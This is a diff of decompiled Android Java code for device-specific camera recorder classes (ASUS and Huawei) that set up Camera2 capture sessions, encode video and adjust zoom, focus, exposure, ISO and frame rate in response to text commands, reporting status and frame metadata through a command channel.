cameraASUSn4.cafr = (MeteringRectangle[]) cameraASUSn4.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_REGIONS);
|
||||
CameraASUSn cameraASUSn5 = CameraASUSn.this;
|
||||
cameraASUSn5.cafm = ((Integer) cameraASUSn5.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_MODE)).intValue();
|
||||
CameraASUSn cameraASUSn6 = CameraASUSn.this;
|
||||
cameraASUSn6.caft = ((Integer) cameraASUSn6.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_TRIGGER)).intValue();
|
||||
CameraASUSn cameraASUSn7 = CameraASUSn.this;
|
||||
cameraASUSn7.lfd = ((Float) cameraASUSn7.mRecordingRequestBuilder.get(CaptureRequest.LENS_FOCUS_DISTANCE)).floatValue();
|
||||
CameraASUSn cameraASUSn8 = CameraASUSn.this;
|
||||
cameraASUSn8.caem = ((Integer) cameraASUSn8.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_MODE)).intValue();
|
||||
CameraASUSn cameraASUSn9 = CameraASUSn.this;
|
||||
cameraASUSn9.ss = ((Integer) cameraASUSn9.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_SENSITIVITY)).intValue();
|
||||
CameraASUSn cameraASUSn10 = CameraASUSn.this;
|
||||
cameraASUSn10.sfd = (Long) cameraASUSn10.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_FRAME_DURATION);
|
||||
CameraASUSn cameraASUSn11 = CameraASUSn.this;
|
||||
cameraASUSn11.set = (Long) cameraASUSn11.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_EXPOSURE_TIME);
|
||||
} catch (Exception e) {
|
||||
CameraASUSn.this.comand.WriteErr(e);
|
||||
}
|
||||
try {
|
||||
CameraASUSn.this.mCamera.close();
|
||||
} catch (Exception e2) {
|
||||
CameraASUSn.this.comand.WriteErr(e2);
|
||||
}
|
||||
try {
|
||||
if (CameraASUSn.this.mMediaCodec != null) {
|
||||
CameraASUSn.this.mMediaCodec.stop();
|
||||
CameraASUSn.this.mMediaCodec.release();
|
||||
}
|
||||
} catch (Exception e3) {
|
||||
CameraASUSn.this.comand.WriteErr(e3);
|
||||
}
|
||||
try {
|
||||
if (CameraASUSn.this.mRecordingSurface != null) {
|
||||
CameraASUSn.this.mRecordingSurface.release();
|
||||
CameraASUSn.this.mRecordingSurface = null;
|
||||
}
|
||||
} catch (Exception e4) {
|
||||
CameraASUSn.this.comand.WriteErr(e4);
|
||||
}
|
||||
try {
|
||||
CameraASUSn.this.mOutputSurfaces.clear();
|
||||
CameraASUSn.this.mOutputSurfaces = null;
|
||||
} catch (Exception e5) {
|
||||
CameraASUSn.this.comand.WriteErr(e5);
|
||||
}
|
||||
CameraASUSn.this.mMediaCodec = null;
|
||||
CameraASUSn.this.mCamera = null;
|
||||
try {
|
||||
CameraASUSn.this.mRecordingRequestBuilder.removeTarget(CameraASUSn.this.mRecordingSurface);
|
||||
} catch (Exception e6) {
|
||||
CameraASUSn.this.comand.WriteErr(e6);
|
||||
}
|
||||
try {
|
||||
Thread.sleep(750L);
|
||||
} catch (Exception e7) {
|
||||
CameraASUSn.this.comand.WriteErr(e7);
|
||||
}
|
||||
try {
|
||||
CameraASUSn.this.mThread.interrupt();
|
||||
} catch (Exception e8) {
|
||||
CameraASUSn.this.comand.WriteErr(e8);
|
||||
}
|
||||
if (CameraASUSn.Restarting) {
|
||||
try {
|
||||
CameraASUSn.this.StartRestart();
|
||||
} catch (Exception e9) {
|
||||
CameraASUSn.this.comand.WriteErr(e9);
|
||||
}
|
||||
}
|
||||
if (CameraASUSn.Restarting) {
|
||||
try {
|
||||
Thread.sleep(250L);
|
||||
} catch (Exception e10) {
|
||||
CameraASUSn.this.comand.WriteErr(e10);
|
||||
}
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraASUSn.this.cafm));
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(CameraASUSn.this.lfd));
|
||||
CameraASUSn.Restarting = false;
|
||||
CameraASUSn.this.setParams();
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onReady(CameraCaptureSession cameraCaptureSession) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Session ready.");
|
||||
Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Session failed configure.");
|
||||
}
|
||||
};
|
||||
private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraASUSn.4
|
||||
long time_out_param = System.currentTimeMillis();
|
||||
double lat = 0.0d;
|
||||
double lon = 0.0d;
|
||||
long FrameNumber = 0;
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) {
|
||||
if (System.currentTimeMillis() - this.time_out_param > 200) {
|
||||
String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME));
|
||||
CameraASUSn.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array());
|
||||
this.time_out_param = System.currentTimeMillis();
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Capture failed.");
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Capture aborted sequence.");
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i, long j) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Capture completed sequence.");
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) {
|
||||
this.FrameNumber = j2;
|
||||
}
|
||||
};
|
||||
|
||||
static /* synthetic */ int access$108(CameraASUSn cameraASUSn) {
|
||||
int i = cameraASUSn.countSend;
|
||||
cameraASUSn.countSend = i + 1;
|
||||
return i;
|
||||
}
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void setParams() {
|
||||
try {
|
||||
if (Integer.valueOf(this.CamResFPS[5]).intValue() > 30) {
|
||||
this.mSessionHI.setRepeatingBurst(this.mSessionHI.createHighSpeedRequestList(this.mRecordingRequestBuilder.build()), this.mCaptureCallback, this.mHandler);
|
||||
} else {
|
||||
this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler);
|
||||
}
|
||||
} catch (CameraAccessException e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
void StartRestart() {
|
||||
try {
|
||||
this.mCameraManager = (CameraManager) this.speek.getApplicationContext().getSystemService("camera");
|
||||
HandlerThread handlerThread = new HandlerThread("CameraThread");
|
||||
this.mThread = handlerThread;
|
||||
handlerThread.start();
|
||||
this.mHandler = new Handler(this.mThread.getLooper());
|
||||
long currentTimeMillis = System.currentTimeMillis();
|
||||
while (System.currentTimeMillis() - currentTimeMillis <= 10000) {
|
||||
String[] cameraIdList = this.mCameraManager.getCameraIdList();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (String str : cameraIdList) {
|
||||
sb.append(str).append(";");
|
||||
}
|
||||
this.comand.WriteOut(String.format("result=camera list: %s (%d)", sb.toString(), Long.valueOf(System.currentTimeMillis() - currentTimeMillis)));
|
||||
Thread.sleep(300L);
|
||||
if (cameraIdList.length != 0) {
|
||||
Stream stream = Arrays.stream(cameraIdList);
|
||||
final String str2 = this.CamResFPS[1];
|
||||
Objects.requireNonNull(str2);
|
||||
if (stream.anyMatch(new Predicate() { // from class: com.nvav.srv.recorder.CameraASUSn$$ExternalSyntheticLambda0
|
||||
@Override // java.util.function.Predicate
|
||||
public final boolean test(Object obj) {
|
||||
boolean equals;
|
||||
equals = str2.equals((String) obj);
|
||||
return equals;
|
||||
}
|
||||
})) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
this.mCameraManager.openCamera(this.CamResFPS[1], this.mDeviceListener, this.mHandler);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
public CameraASUSn(CameraManager cameraManager, Speek speek, String str, Comand comand) {
|
||||
this.CamResFPS = str.split(";");
|
||||
this.comand = comand;
|
||||
comand.WriteOut(String.format("result=%s", str));
|
||||
this.speek = speek;
|
||||
StartRestart();
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public void Stop() {
|
||||
try {
|
||||
this.mMediaCodec.signalEndOfInputStream();
|
||||
this.mCamera.close();
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
byte[] putInt(int i) {
|
||||
return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array();
|
||||
}
|
||||
|
||||
private Point toThis(Point point) {
|
||||
Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left;
|
||||
point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top;
|
||||
return point;
|
||||
}
|
||||
|
||||
private String ZoomNew(String str) {
|
||||
try {
|
||||
float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f;
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
int width = rect.width() / 2;
|
||||
int height = rect.height() / 2;
|
||||
int width2 = (int) ((rect.width() * 0.5f) / parseInt);
|
||||
int height2 = (int) ((rect.height() * 0.5f) / parseInt);
|
||||
Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2);
|
||||
setParams();
|
||||
return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomPlus(String str, double d) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue();
|
||||
Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
String[] split = str.split(",");
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int round = (int) Math.round(rect2.width() * d);
|
||||
int round2 = (int) Math.round(rect2.height() * d);
|
||||
if (round < rect.width() / floatValue) {
|
||||
round = (int) (rect.width() / floatValue);
|
||||
}
|
||||
if (round2 < rect.height() / floatValue) {
|
||||
round2 = (int) (rect.height() / floatValue);
|
||||
}
|
||||
Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2));
|
||||
if (rect3.left < 0) {
|
||||
rect3.right -= rect3.left;
|
||||
rect3.left = 0;
|
||||
}
|
||||
if (rect3.top < 0) {
|
||||
rect3.bottom -= rect3.top;
|
||||
rect3.top = 0;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3);
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightPlus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1;
|
||||
if (intValue > 4) {
|
||||
intValue = 4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightMinus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1;
|
||||
if (intValue < -4) {
|
||||
intValue = -4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String WhileBlack() {
|
||||
String str = "";
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0));
|
||||
str = "Black and white.";
|
||||
setParams();
|
||||
return "Black and white.";
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomMinus(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom));
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Monochrom(String str) {
|
||||
int i = !str.equals("0");
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i));
|
||||
setParams();
|
||||
return i == 1 ? "Monochrom enable." : "Monochrom disable.";
|
||||
}
|
||||
|
||||
private Rect getRect(String str) {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
String[] split = str.split(",");
|
||||
int parseInt = Integer.parseInt(split[2]);
|
||||
int parseInt2 = Integer.parseInt(split[3]);
|
||||
if (parseInt > rect.width()) {
|
||||
parseInt = rect.width();
|
||||
}
|
||||
if (parseInt2 > rect.height()) {
|
||||
parseInt2 = rect.height();
|
||||
}
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int i = parseInt / 2;
|
||||
int i2 = parseInt2 / 2;
|
||||
Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2);
|
||||
if (rect2.top < rect.top) {
|
||||
rect2.bottom -= rect2.top - rect.top;
|
||||
rect2.top = rect.top;
|
||||
}
|
||||
if (rect2.left < rect.left) {
|
||||
rect2.right -= rect2.left - rect.left;
|
||||
rect2.left = rect.left;
|
||||
}
|
||||
if (rect2.bottom > rect.bottom) {
|
||||
rect2.bottom = rect.bottom;
|
||||
}
|
||||
if (rect2.right > rect.right) {
|
||||
rect2.right = rect.right;
|
||||
}
|
||||
return rect2;
|
||||
}
|
||||
|
||||
private String AF(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
setParams();
|
||||
Rect rect2 = getRect(str);
|
||||
if (rect.contains(rect2)) {
|
||||
rect = rect2;
|
||||
}
|
||||
MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)};
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1);
|
||||
setParams();
|
||||
return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight()));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Focus(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f;
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat));
|
||||
setParams();
|
||||
return String.format("Focus: %f", Float.valueOf(parseFloat));
|
||||
}
|
||||
|
||||
private String Sensitivity(String str) {
|
||||
int parseInt = Integer.parseInt(str);
|
||||
Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
|
||||
int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return String.format("Sensitivity: %d", Integer.valueOf(intValue));
|
||||
}
|
||||
|
||||
private String ISO(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("ISO: %s", str);
|
||||
}
|
||||
|
||||
private String FPS(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("FPS: %s", str);
|
||||
}
|
||||
|
||||
private String Exposure(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("Exposure: %s", str);
|
||||
}
|
||||
|
||||
private String AE() {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1);
|
||||
setParams();
|
||||
return "Enable AE";
|
||||
}
|
||||
|
||||
private String UserMode(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0);
|
||||
setParams();
|
||||
int parseInt = Integer.parseInt(trim);
|
||||
if (parseInt == 0) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1);
|
||||
} else {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2);
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt));
|
||||
setParams();
|
||||
return String.format("User mode: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private String ABW(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1));
|
||||
setParams();
|
||||
return String.format("ABW: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public String SetCommand(String str, String str2) {
|
||||
return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : str;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MinISO() {
|
||||
return this.MinISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MaxISO() {
|
||||
return this.MaxISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int FPS() {
|
||||
return this.FPS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,775 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.graphics.Point;
|
||||
import android.graphics.Rect;
|
||||
import android.hardware.camera2.CameraAccessException;
|
||||
import android.hardware.camera2.CameraCaptureSession;
|
||||
import android.hardware.camera2.CameraCharacteristics;
|
||||
import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession;
|
||||
import android.hardware.camera2.CameraDevice;
|
||||
import android.hardware.camera2.CameraManager;
|
||||
import android.hardware.camera2.CaptureFailure;
|
||||
import android.hardware.camera2.CaptureRequest;
|
||||
import android.hardware.camera2.CaptureResult;
|
||||
import android.hardware.camera2.TotalCaptureResult;
|
||||
import android.hardware.camera2.params.MeteringRectangle;
|
||||
import android.hardware.camera2.params.StreamConfigurationMap;
|
||||
import android.media.MediaCodec;
|
||||
import android.media.MediaCrypto;
|
||||
import android.media.MediaFormat;
|
||||
import android.os.Handler;
|
||||
import android.os.HandlerThread;
|
||||
import android.util.Log;
|
||||
import android.util.Range;
|
||||
import android.util.Size;
|
||||
import android.view.Surface;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.function.Predicate;
|
||||
import java.util.stream.Stream;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class CameraHUAWEI implements ICameraRecord {
|
||||
static boolean Restarting;
|
||||
static boolean Starting;
|
||||
String[] CamResFPS;
|
||||
Size MaxSize;
|
||||
Size SizeImage;
|
||||
int aec;
|
||||
int caem;
|
||||
int cafm;
|
||||
MeteringRectangle[] cafr;
|
||||
int caft;
|
||||
int cem;
|
||||
Comand comand;
|
||||
private byte[] config;
|
||||
MediaFormat format;
|
||||
private String id;
|
||||
float lfd;
|
||||
private MediaCodec.BufferInfo mBufferInfo;
|
||||
CameraDevice mCamera;
|
||||
CameraManager mCameraManager;
|
||||
Handler mHandler;
|
||||
Handler mHandler2;
|
||||
Handler mHandler3;
|
||||
MediaCodec mMediaCodec;
|
||||
List<Surface> mOutputSurfaces;
|
||||
CaptureRequest.Builder mRecordingRequestBuilder;
|
||||
private Surface mRecordingSurface;
|
||||
Thread mRecordingThread;
|
||||
private CameraCaptureSession mSession;
|
||||
private CameraConstrainedHighSpeedCaptureSession mSessionHI;
|
||||
HandlerThread mThread;
|
||||
HandlerThread mThread2;
|
||||
HandlerThread mThread3;
|
||||
CameraCharacteristics properties;
|
||||
Rect rect;
|
||||
String sCamera;
|
||||
Long set;
|
||||
Long sfd;
|
||||
Speek speek;
|
||||
int ss;
|
||||
private int countSend = 0;
|
||||
public int MinISO = 0;
|
||||
public int MaxISO = 0;
|
||||
public int FPS = 30;
|
||||
int decr = 5;
|
||||
private final CameraDevice.StateCallback mDeviceListener = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEI.1
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onClosed(CameraDevice cameraDevice) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onOpened(CameraDevice cameraDevice) {
|
||||
try {
|
||||
CameraHUAWEI.this.mCamera = cameraDevice;
|
||||
CameraHUAWEI cameraHUAWEI = CameraHUAWEI.this;
|
||||
cameraHUAWEI.properties = cameraHUAWEI.mCameraManager.getCameraCharacteristics(CameraHUAWEI.this.mCamera.getId());
|
||||
Size[] outputSizes = ((StreamConfigurationMap) CameraHUAWEI.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class);
|
||||
CameraHUAWEI.this.MaxSize = null;
|
||||
for (Size size : outputSizes) {
|
||||
if (size.getWidth() == Integer.parseInt(CameraHUAWEI.this.CamResFPS[2]) && size.getHeight() == Integer.parseInt(CameraHUAWEI.this.CamResFPS[3])) {
|
||||
CameraHUAWEI.this.MaxSize = size;
|
||||
}
|
||||
}
|
||||
CameraHUAWEI.this.comand.WriteOut(String.format("result=Width:%d Height:%d", Integer.valueOf(CameraHUAWEI.this.MaxSize.getWidth()), Integer.valueOf(CameraHUAWEI.this.MaxSize.getHeight())));
|
||||
CameraHUAWEI cameraHUAWEI2 = CameraHUAWEI.this;
|
||||
cameraHUAWEI2.format = MediaFormat.createVideoFormat("video/avc", cameraHUAWEI2.MaxSize.getWidth(), CameraHUAWEI.this.MaxSize.getHeight());
|
||||
CameraHUAWEI.this.format.setInteger("color-format", 2130708361);
|
||||
CameraHUAWEI cameraHUAWEI3 = CameraHUAWEI.this;
|
||||
cameraHUAWEI3.FPS = Integer.parseInt(cameraHUAWEI3.CamResFPS[5]);
|
||||
CameraHUAWEI.this.format.setInteger("bitrate", (int) (Integer.parseInt(CameraHUAWEI.this.CamResFPS[0]) / 1.25d));
|
||||
CameraHUAWEI.this.format.setInteger("frame-rate", CameraHUAWEI.this.FPS);
|
||||
CameraHUAWEI.this.format.setInteger("i-frame-interval", 1);
|
||||
CameraHUAWEI.this.format.setInteger("max-input-size", 0);
|
||||
